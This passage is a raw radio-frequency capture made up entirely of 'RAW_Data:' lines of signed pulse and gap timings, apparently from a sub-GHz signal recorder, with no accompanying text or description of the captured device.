-268 107 -212 51 -106 113 -318 173 -89 125 -247 124 -104 51 -106 97 -132 53 -112 85 -365 53 -72 90 -329 152 -108 123 -96 53 -96 206 -742 111 -96 53 -265 71 -146 107 -202 51 -95 53 -162 51 -504 51 -93 84 -303 119 -779 67 -336 59 -294 117 -904 110 -90 71 -144 53 -159 85 -202 67 -119 151 -107 73 -592 115 -172 124 -531 83 -262 149 -224 197 -215 51 -128 159 -235 160 -188 61 -137 100 -396 -RAW_Data: 51 -111 73 -76 151 -464 53 -554 118 -56 51 -183 69 -261 55 -112 97 -74 87 -143 71 -234 71 -167 75 -173 53 -1018 88 -361 110 -216 96 -309 53 -351 53 -270 57 -177 108 -142 95 -66 89 -489 155 -133 218 -245 174 -70 133 -213 193 -122 176 -60 375 -241 157 -119 87 -112 200 -140 137 -52 77 -80 93 -72 142 -104 93 -90 144 -72 235 -92 107 -62 69 -68 272 -185 80 -82 55 -58 61 -52 132 -154 132 -72 51 -86 137 -160 228 -76 132 -214 88 -189 53 -221 224 -76 63 -72 51 -288 183 -133 162 -169 381 -72 116 -56 141 -70 65 -117 69 -368 67 -88 330 -74 142 -66 191 -318 156 -64 141 -335 251 -56 75 -52 81 -76 173 -66 119 -360 208 -76 61 -68 110 -64 160 -54 59 -138 141 -52 69 -63 105 -76 153 -130 99 -107 220 -105 73 -239 152 -239 101 -294 97 -107 70 -79 89 -62 135 -297 101 -103 95 -112 97 -112 274 -62 166 -139 87 -54 213 -52 75 -54 104 -172 67 -232 131 -242 88 -106 150 -72 75 -157 59 -130 114 -81 61 -175 91 -178 127 -60 208 -151 71 -104 53 -62 118 -74 122 -104 162 -60 81 -510 117 -102 148 -80 104 -140 57 -185 565 -146 312 -95 104 -122 55 -80 192 -91 172 -64 158 -115 53 -202 57 -86 146 -126 59 -76 312 -133 79 -340 163 -56 99 -267 134 -135 57 -149 75 -200 203 -143 71 -138 77 -158 65 -554 221 -52 97 -178 89 -58 59 -90 105 -108 107 -266 53 -90 67 -168 114 -219 117 -86 71 -126 143 -344 63 -80 51 -168 116 -144 153 -116 61 -192 59 -231 75 -931 243 -259 79 -106 150 -366 126 -268 77 -357 53 -546 53 -407 51 -130 67 -353 51 -181 69 -117 59 -90 94 -171 63 -66 104 -184 141 -92 75 -381 99 -76 111 -755 51 -228 71 -324 61 -565 89 -88 69 -449 63 -395 142 -82 104 -730 67 -223 133 -90 77 -345 59 -140 67 -617 71 -249 83 -221 156 -169 63 -125 71 -714 79 -639 107 -62 61 -649 114 -92 83 -90 81 -108 61 -185 65 -351 80 -80 51 -62 53 -60 63 -156 111 -204 81 -118 75 -288 107 -179 155 -138 53 -233 81 -72 133 -349 77 -174 330 -171 53 -92 59 -90 107 -138 79 -157 69 -204 53 -144 307 -224 51 -184 81 -133 59 -114 53 -124 731 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 -RAW_Data: 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 193 -126 152 -355 105 -114 77 -80 120 -78 53 -273 107 -322 87 -404 98 -54 59 -105 79 -82 59 -76 55 -572 71 -52 59 -231 89 -465 55 -877 59 -168 106 -60 113 -345 59 -98 93 -118 53 -349 92 -138 51 -312 59 -326 63 -223 59 -89 83 -126 51 -119 59 -267 81 -458 79 -97 122 -253 80 -76 119 -641 51 -141 57 -117 116 -393 97 -276 51 -502 79 -447 61 -333 53 -515 104 -879 51 -119 63 -141 73 -52 59 -354 51 -100 147 -101 73 -134 59 -184 243 -140 63 -436 59 -153 71 -161 53 -103 53 -431 81 -169 71 -62 114 -103 67 -129 77 -179 149 -92 53 -232 233 -282 81 -82 87 -90 83 -270 81 -186 77 -124 53 -96 51 -160 77 -90 89 -112 82 -88 59 -158 67 -200 53 -192 53 -238 51 -364 51 -359 67 -402 83 -199 71 -52 110 -100 97 -310 100 -82 68 -108 75 -320 61 -152 87 -198 96 -88 -RAW_Data: 119 -90 69 -1408 224 -94 88 -222 67 -413 59 -140 51 -544 67 -74 174 -349 67 -150 121 -365 59 -633 63 -72 107 -608 75 -105 89 -680 87 -98 195 -154 119 -52 79 -52 55 -224 61 -297 69 -263 67 -375 1327 -56 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 127 -64 63 -126 127 -64 63 -126 63 -64 61 -64 61 -64 63 -64 61 -64 127 -64 63 -64 61 -64 63 -128 127 -64 61 -128 63 -62 63 -62 127 -128 65 -62 61 -64 61 -64 63 -64 127 -128 127 -128 127 -128 125 -56 69 -126 127 -128 127 -128 55 -70 125 -64 61 -64 61 -64 63 -62 63 -128 129 -64 61 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 127 -128 63 -62 61 -64 127 -128 63 -64 61 -62 63 -64 127 -128 63 -64 61 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 127 -64 63 -62 63 -128 63 -64 61 -64 61 -64 63 -64 63 -62 127 -130 127 -128 125 -56 69 -62 63 -62 63 -64 63 -128 127 -128 127 -56 69 -62 61 -64 63 -128 63 -64 61 -64 127 -64 63 -62 63 -62 63 -64 63 -128 63 -64 125 -128 129 -56 69 -62 61 -64 63 -128 63 -62 63 -64 125 -66 61 -64 61 -128 127 -130 125 -128 127 -56 287 -88 61 -64 61 -111 59 -252 158 -303 71 -420 107 -243 80 -206 55 -148 115 -521 79 -472 175 -96 77 -479 53 -206 105 -700 97 -408 121 -154 59 -170 88 -90 115 -120 71 -257 114 -254 81 -159 101 -100 57 -126 95 -223 69 -780 69 -52 51 -300 95 -108 71 -277 63 -76 53 -200 106 -134 156 -148 53 -166 95 -714 79 -550 51 -532 110 -292 134 -560 88 -550 85 -258 188 -334 98 -232 71 -100 116 -193 114 -90 59 -287 59 -72 97 -212 59 -112 57 -251 53 -180 61 -517 278 -294 89 -453 53 -221 87 -144 53 -397 71 -257 83 -265 114 -301 77 -729 104 -280 73 -228 79 -496 67 -285 115 -380 96 -144 69 -270 97 -498 72 -686 149 -514 105 -279 59 -198 53 -194 67 -176 79 -170 63 -208 106 -151 55 -88 85 -112 71 -72 101 -290 61 -152 51 -90 112 -165 63 -120 -RAW_Data: 65 -70 148 -233 82 -54 69 -177 151 -112 122 -296 51 -547 166 -263 69 -105 57 -60 89 -197 55 -359 65 -285 79 -240 129 -228 111 -386 59 -114 51 -189 57 -373 77 -78 55 -302 73 -86 146 -290 193 -98 89 -72 51 -231 89 -254 93 -106 96 -344 81 -946 121 -1008 116 -144 92 -141 59 -167 82 -248 102 -276 132 -78 111 -66 51 -290 81 -70 61 -196 51 -549 125 -147 77 -106 107 -142 97 -103 53 -883 83 -92 95 -56 244 -477 88 -214 102 -534 154 -92 51 -334 75 -464 382 -116 75 -78 103 -160 128 -299 130 -64 79 -136 124 -193 61 -106 265 -391 96 -279 176 -54 63 -87 424 -258 260 -658 57 -273 263 -196 53 -166 63 -54 290 -58 79 -196 349 -60 238 -66 396 -161 77 -62 83 -97 104 -135 53 -60 144 -74 67 -112 61 -182 160 -68 352 -252 141 -86 126 -166 121 -72 61 -54 61 -54 81 -78 71 -108 89 -120 150 -150 314 -98 105 -489 155 -183 193 -105 71 -134 71 -114 289 -58 145 -52 59 -82 196 -121 83 -68 122 -122 124 -112 208 -62 96 -104 61 -108 71 -72 178 -128 187 -186 133 -100 75 -123 106 -206 356 -447 172 -205 139 -52 129 -216 94 -70 198 -76 51 -96 226 -140 97 -436 87 -104 131 -82 117 -122 76 -355 51 -210 89 -116 69 -212 84 -1246 69 -474 53 -167 59 -72 53 -154 59 -279 173 -551 61 -82 194 -1226 84 -104 186 -54 69 -1024 152 -121 57 -333 71 -395 53 -367 82 -313 99 -175 127 -82 69 -146 63 -452 51 -122 125 -90 123 -121 89 -111 126 -309 105 -184 84 -198 69 -302 61 -409 87 -230 124 -140 53 -62 177 -126 107 -64 89 -172 55 -60 67 -60 234 -209 71 -243 73 -208 116 -701 103 -324 51 -386 99 -74 67 -64 87 -60 182 -177 53 -195 85 -332 111 -210 73 -78 146 -607 67 -464 61 -149 78 -204 169 -265 69 -99 132 -401 116 -410 71 -132 63 -152 71 -197 71 -110 98 -144 109 -96 53 -465 67 -90 53 -532 73 -279 84 -148 51 -728 88 -204 88 -261 63 -68 59 -136 59 -343 85 -177 59 -54 71 -332 53 -205 53 -116 71 -121 87 -72 53 -352 63 -244 57 -454 83 -106 109 -102 95 -136 67 -68 81 -194 83 -225 55 -337 85 -126 106 -112 59 -52 102 -89 53 -251 71 -161 61 -477 63 -626 51 -575 51 -366 98 -62 135 -639 51 -96 127 -214 89 -229 114 -404 83 -90 81 -248 61 -248 81 -100 59 -357 278 -62 67 -90 146 -108 104 -90 412 -232 99 -214 294 -138 -RAW_Data: 133 -153 110 -52 156 -56 69 -62 151 -348 53 -119 73 -108 105 -54 278 -62 132 -186 213 -54 246 -54 61 -107 79 -64 97 -92 166 -68 115 -72 63 -252 51 -254 81 -107 119 -329 51 -60 204 -143 67 -122 63 -132 51 -90 114 -52 88 -188 99 -345 149 -164 155 -183 73 -68 133 -84 75 -82 137 -152 71 -116 51 -240 151 -72 53 -54 185 -326 136 -112 67 -198 107 -119 141 -76 271 -268 154 -76 164 -193 279 -568 79 -70 51 -152 144 -209 71 -573 98 -140 139 -183 89 -82 61 -955 96 -344 104 -132 115 -274 53 -151 53 -193 118 -74 75 -60 51 -420 81 -1160 71 -98 63 -72 123 -52 117 -72 116 -68 65 -767 110 -148 92 -324 73 -408 126 -52 67 -229 51 -362 55 -767 53 -406 81 -653 59 -414 71 -198 106 -527 85 -164 59 -98 159 -287 63 -650 61 -203 186 -78 51 -90 53 -170 61 -215 53 -812 131 -482 208 -54 145 -200 53 -265 67 -294 73 -272 59 -174 61 -160 103 -729 93 -458 65 -200 223 -100 137 -459 71 -380 89 -147 51 -285 53 -62 150 -171 53 -206 153 -691 51 -132 141 -84 51 -465 112 -428 150 -240 105 -171 115 -1338 53 -417 81 -134 103 -52 67 -136 124 -220 53 -136 65 -188 83 -205 63 -108 53 -54 59 -174 63 -277 51 -78 65 -447 73 -134 81 -108 117 -287 117 -751 143 -135 78 -125 87 -245 61 -126 85 -333 53 -178 97 -131 61 -704 79 -200 81 -186 79 -206 53 -98 100 -278 81 -100 106 -151 89 -219 120 -246 53 -52 81 -81 59 -329 53 -282 97 -256 79 -192 104 -52 70 -62 59 -115 322 -152 77 -347 80 -54 81 -56 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 -RAW_Data: 63 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 127 -128 127 -128 127 -56 69 -124 129 -128 63 -62 61 -64 125 -128 129 -56 69 -126 127 -128 63 -62 61 -64 127 -128 127 -128 127 -126 323 -1511 75 -359 209 -108 53 -108 107 -90 51 -133 68 -269 53 -302 75 -52 59 -176 111 -458 121 -363 59 -544 71 -150 143 -143 53 -320 63 -62 106 -186 79 -169 85 -375 63 -316 96 -181 87 -70 81 -336 63 -52 61 -457 61 -120 63 -291 118 -382 89 -186 121 -567 97 -56 51 -150 99 -119 59 -390 104 -104 51 -949 63 -693 85 -122 88 -190 78 -70 92 -206 55 -88 79 -266 125 -62 51 -120 57 -72 61 -667 61 -632 53 -154 104 -80 63 -98 131 -158 61 -132 83 -150 71 -280 103 -140 63 -311 205 -587 118 -248 98 -247 89 -112 122 -191 51 -135 97 -235 51 -649 81 -54 71 -213 53 -216 124 -246 106 -126 81 -60 93 -54 67 -354 73 -118 71 -72 71 -739 81 -108 95 -82 53 -125 168 -216 89 -52 97 -160 89 -90 155 -122 51 -265 63 -150 128 -186 63 -361 59 -214 63 -84 154 -82 69 -450 71 -371 59 -80 53 -510 53 -302 115 -205 57 -348 142 -546 53 -126 67 -122 55 -60 53 -58 93 -104 87 -222 99 -281 120 -252 85 -72 98 -108 124 -251 141 -241 63 -80 97 -233 51 -282 83 -780 104 -227 65 -54 71 -563 327 -88 53 -580 73 -62 160 -62 107 -108 51 -230 71 -70 89 -80 79 -144 197 -144 57 -90 114 -338 143 -202 53 -417 172 -353 133 -209 189 -52 65 -80 63 -251 274 -64 61 -104 195 -244 79 -116 61 -116 160 -197 69 -203 122 -52 71 -196 53 -127 111 -102 162 -370 124 -447 149 -242 51 -247 111 -52 227 -90 176 -309 67 -162 99 -104 75 -237 198 -295 53 -116 150 -144 59 -68 143 -136 63 -149 88 -96 89 -205 97 -417 67 -294 89 -136 211 -396 61 -122 59 -127 61 -125 137 -76 155 -54 187 -203 59 -68 55 -60 51 -68 99 -52 97 -76 95 -164 57 -287 193 -62 106 -141 244 -400 135 -183 260 -62 131 -263 53 -136 81 -72 87 -87 109 -136 97 -74 118 -64 59 -94 53 -60 82 -199 213 -231 53 -326 267 -176 89 -184 53 -246 177 -163 81 -371 53 -80 89 -430 71 -126 129 -89 161 -90 53 -240 67 -243 51 -129 97 -64 86 -132 117 -222 68 -406 61 -598 149 -165 67 -82 73 -74 86 -381 97 -70 57 -105 51 -312 98 -188 79 -88 152 -438 57 -72 107 -110 63 -648 74 -265 -RAW_Data: 92 -163 51 -112 77 -110 59 -234 71 -291 75 -129 85 -359 89 -108 71 -198 51 -52 142 -64 63 -451 59 -291 51 -62 71 -100 69 -128 53 -265 99 -134 96 -160 69 -180 63 -769 91 -115 65 -72 51 -80 86 -276 53 -168 89 -297 51 -261 75 -222 59 -926 55 -283 170 -98 73 -66 125 -116 159 -80 53 -158 187 -86 57 -84 63 -142 122 -118 53 -54 51 -82 61 -58 61 -501 122 -267 51 -92 127 -82 559 -62 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 225 -157 91 -336 75 -116 134 -252 89 -60 55 -138 103 -247 117 -324 92 -185 55 -96 71 -72 97 -58 125 -393 59 -102 55 -162 161 -125 123 -178 81 -151 85 -550 53 -98 93 -171 55 -301 123 -72 61 -109 55 -974 129 -177 -RAW_Data: 76 -76 108 -481 53 -88 174 -1006 100 -194 83 -346 124 -54 59 -1248 111 -280 69 -106 55 -282 67 -385 65 -72 61 -60 63 -110 124 -84 124 -72 109 -264 61 -596 59 -287 85 -88 71 -62 161 -176 91 -165 93 -186 53 -214 83 -100 92 -383 53 -231 59 -305 169 -82 149 -54 159 -152 78 -317 141 -172 61 -542 91 -74 87 -409 71 -388 53 -233 65 -106 77 -66 145 -54 67 -62 98 -90 77 -204 125 -329 121 -124 61 -82 89 -337 108 -551 51 -320 111 -235 57 -76 61 -242 133 -1172 149 -487 75 -917 67 -128 67 -112 67 -611 132 -116 97 -84 83 -253 99 -60 99 -182 59 -429 67 -204 115 -886 69 -136 59 -494 151 -116 53 -535 51 -66 87 -355 53 -348 85 -70 53 -568 184 -328 117 -74 69 -110 144 -268 63 -60 53 -234 136 -293 88 -72 149 -160 111 -238 75 -302 71 -54 79 -198 53 -107 53 -62 53 -413 79 -542 265 -256 51 -293 53 -600 87 -414 59 -52 89 -295 190 -194 81 -216 1065 -56 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 127 -64 63 -126 127 -64 63 -126 63 -64 61 -64 61 -64 63 -64 63 -62 127 -64 63 -64 61 -64 63 -128 127 -64 61 -128 63 -64 61 -64 125 -130 63 -62 61 -64 63 -62 63 -64 127 -128 63 -64 61 -64 125 -130 127 -56 69 -126 127 -128 127 -128 55 -70 125 -64 61 -64 61 -64 63 -64 61 -128 129 -64 61 -64 61 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -62 63 -64 127 -128 63 -64 61 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -62 63 -128 63 -64 61 -64 63 -62 63 -64 63 -64 127 -64 63 -126 63 -64 125 -64 63 -62 63 -128 63 -64 125 -64 63 -126 63 -64 61 -64 63 -62 63 -64 127 -64 63 -64 61 -128 127 -128 63 -62 125 -130 127 -128 125 -128 127 -118 135 -56 69 -62 61 -128 127 -128 127 -128 55 -62 69 -62 127 -128 63 -64 313 -64 185 -171 81 -141 85 -270 57 -110 51 -332 137 -190 53 -54 81 -99 -RAW_Data: 81 -82 53 -90 71 -257 90 -54 113 -222 51 -64 157 -68 59 -155 96 -568 71 -246 89 -409 156 -537 87 -313 185 -54 96 -108 71 -107 81 -157 96 -389 51 -177 69 -390 81 -130 95 -256 70 -170 141 -74 85 -183 71 -114 111 -125 142 -161 96 -268 53 -151 87 -136 96 -170 91 -102 126 -142 221 -56 77 -387 151 -176 83 -58 51 -1153 61 -344 84 -435 90 -108 133 -353 132 -162 79 -784 159 -646 53 -197 191 -301 53 -78 57 -316 59 -104 101 -130 63 -612 131 -262 77 -189 59 -269 53 -68 63 -66 61 -336 94 -146 88 -250 127 -466 69 -478 53 -194 67 -90 89 -174 113 -78 71 -625 59 -108 57 -198 97 -156 116 -531 59 -134 71 -454 189 -64 61 -345 116 -62 94 -100 86 -291 160 -106 116 -283 89 -277 71 -429 53 -285 95 -52 53 -323 93 -124 99 -62 89 -185 51 -212 146 -122 219 -1253 75 -100 83 -98 83 -441 81 -114 81 -54 139 -98 81 -253 59 -134 69 -342 172 -198 59 -286 95 -456 86 -338 53 -124 69 -152 59 -129 146 -819 71 -474 89 -549 61 -180 75 -248 77 -172 53 -200 71 -66 93 -84 78 -207 59 -548 83 -62 106 -143 89 -384 75 -52 73 -98 53 -125 105 -220 53 -150 131 -108 89 -364 59 -135 59 -76 156 -166 92 -172 115 -62 83 -331 134 -74 112 -269 195 -190 99 -98 87 -196 133 -90 61 -390 61 -283 126 -76 75 -60 182 -56 161 -116 75 -134 143 -103 175 -68 69 -207 143 -521 102 -68 141 -114 51 -72 89 -82 153 -116 111 -72 79 -160 53 -401 214 -150 246 -169 231 -103 118 -345 69 -331 51 -105 71 -233 53 -257 89 -212 79 -90 174 -132 149 -66 51 -157 51 -162 67 -100 604 -62 114 -137 51 -80 51 -175 284 -58 157 -187 244 -80 190 -165 97 -52 59 -190 268 -88 195 -167 160 -251 187 -80 104 -68 101 -116 162 -153 61 -70 106 -290 187 -76 96 -87 129 -344 239 -70 53 -54 124 -308 346 -197 63 -98 81 -162 53 -165 293 -120 202 -52 79 -88 53 -203 124 -178 61 -64 71 -141 53 -98 105 -96 97 -60 53 -108 63 -80 118 -371 67 -116 95 -62 71 -124 106 -338 53 -115 83 -52 121 -214 104 -240 99 -156 131 -64 77 -590 51 -543 53 -70 130 -329 53 -259 112 -134 84 -194 53 -176 61 -769 113 -439 59 -541 53 -62 67 -60 83 -248 67 -62 99 -60 51 -138 78 -441 105 -827 73 -147 59 -60 186 -103 140 -112 53 -124 77 -119 53 -75 69 -98 124 -138 85 -711 -RAW_Data: 51 -221 102 -478 51 -273 93 -88 51 -62 63 -172 79 -244 76 -347 139 -203 185 -217 97 -80 81 -108 61 -200 109 -156 55 -189 106 -487 97 -387 89 -348 87 -104 79 -154 184 -604 53 -291 51 -108 102 -104 171 -131 53 -784 61 -124 129 -102 55 -184 115 -425 51 -322 123 -116 98 -209 61 -201 81 -958 51 -116 69 -66 104 -320 51 -142 95 -517 203 -106 89 -290 120 -76 141 -76 61 -551 124 -289 82 -255 63 -1262 75 -398 53 -88 155 -110 53 -167 89 -259 51 -90 51 -373 79 -417 128 -150 53 -799 69 -288 91 -444 81 -104 114 -88 73 -135 110 -94 65 -80 243 -242 55 -188 53 -119 101 -431 103 -212 111 -62 65 -185 67 -70 71 -290 77 -104 95 -386 164 -170 123 -52 51 -82 107 -174 75 -143 75 -192 103 -350 114 -168 67 -348 59 -139 107 -251 53 -408 69 -151 53 -139 85 -341 89 -273 81 -160 94 -302 53 -62 111 -131 73 -129 221 -319 67 -72 167 -72 53 -186 152 -138 204 -60 245 -80 53 -118 51 -54 51 -242 63 -112 57 -137 80 -223 92 -60 51 -68 77 -245 79 -134 344 -90 77 -60 131 -70 51 -82 59 -448 85 -137 53 -761 53 -160 51 -566 51 -712 57 -82 65 -60 83 -238 89 -255 110 -135 141 -509 180 -111 67 -108 71 -161 96 -198 151 -62 132 -148 53 -86 79 -792 123 -210 73 -187 61 -372 61 -184 202 -247 67 -174 65 -171 69 -94 162 -106 179 -426 174 -649 85 -199 71 -349 112 -716 63 -98 75 -160 71 -292 51 -219 97 -116 78 -260 89 -134 79 -117 106 -70 81 -318 69 -256 77 -58 51 -184 53 -134 51 -260 156 -106 55 -385 113 -171 169 -245 79 -217 67 -231 170 -112 61 -64 314 -512 79 -190 53 -194 71 -319 79 -64 79 -540 79 -90 78 -332 53 -231 59 -333 71 -150 122 -157 73 -78 161 -265 83 -192 51 -120 61 -346 150 -168 167 -116 53 -114 51 -879 67 -67 61 -316 117 -192 71 -373 134 -451 230 -88 71 -204 53 -295 57 -203 71 -308 61 -526 81 -322 176 -196 117 -168 61 -609 82 -249 75 -307 51 -212 53 -313 51 -62 81 -130 161 -58 53 -180 91 -577 108 -211 69 -394 53 -200 69 -271 201 -136 85 -269 51 -68 63 -154 53 -229 61 -280 117 -54 67 -136 69 -357 53 -80 63 -166 115 -194 63 -82 53 -1070 61 -140 79 -122 59 -88 70 -118 86 -272 51 -123 79 -442 125 -337 103 -52 87 -196 89 -60 55 -198 1013 -56 63 -64 63 -62 63 -64 63 -64 61 -64 -RAW_Data: 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 207 -133 125 -171 63 -134 63 -250 53 -845 81 -120 130 -300 81 -426 147 -395 91 -80 65 -106 71 -585 65 -204 81 -128 75 -290 126 -435 51 -336 53 -54 178 -78 79 -122 97 -108 109 -357 59 -252 181 -408 75 -223 82 -60 55 -293 73 -82 80 -54 83 -404 116 -78 53 -70 98 -193 61 -180 51 -607 124 -143 87 -116 81 -260 142 -887 96 -340 118 -252 75 -257 84 -210 87 -89 104 -198 59 -60 112 -519 87 -399 211 -355 77 -277 104 -309 77 -181 87 -761 83 -605 174 -104 59 -62 77 -208 83 -156 198 -257 102 -462 115 -498 103 -171 75 -177 75 -763 59 -210 224 -80 53 -351 195 -832 71 -138 67 -406 53 -89 61 -407 98 -191 51 -98 55 -164 53 -125 71 -134 116 -126 125 -172 -RAW_Data: 61 -177 53 -82 53 -492 67 -647 101 -120 77 -593 69 -112 240 -433 71 -1031 122 -443 53 -426 88 -216 125 -704 59 -224 65 -216 67 -285 55 -280 69 -113 89 -72 84 -475 57 -274 81 -779 79 -308 105 -279 53 -308 59 -127 51 -263 115 -104 61 -380 106 -358 103 -839 85 -250 51 -97 75 -172 57 -122 51 -140 69 -187 83 -133 84 -1229 51 -305 61 -102 195 -203 61 -166 75 -136 71 -150 53 -362 1116 -56 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 127 -64 63 -128 127 -64 61 -126 65 -62 63 -62 63 -64 63 -62 63 -64 127 -64 63 -62 63 -62 63 -128 129 -64 61 -126 63 -64 61 -64 127 -128 63 -64 61 -62 63 -64 63 -62 127 -130 63 -62 63 -62 127 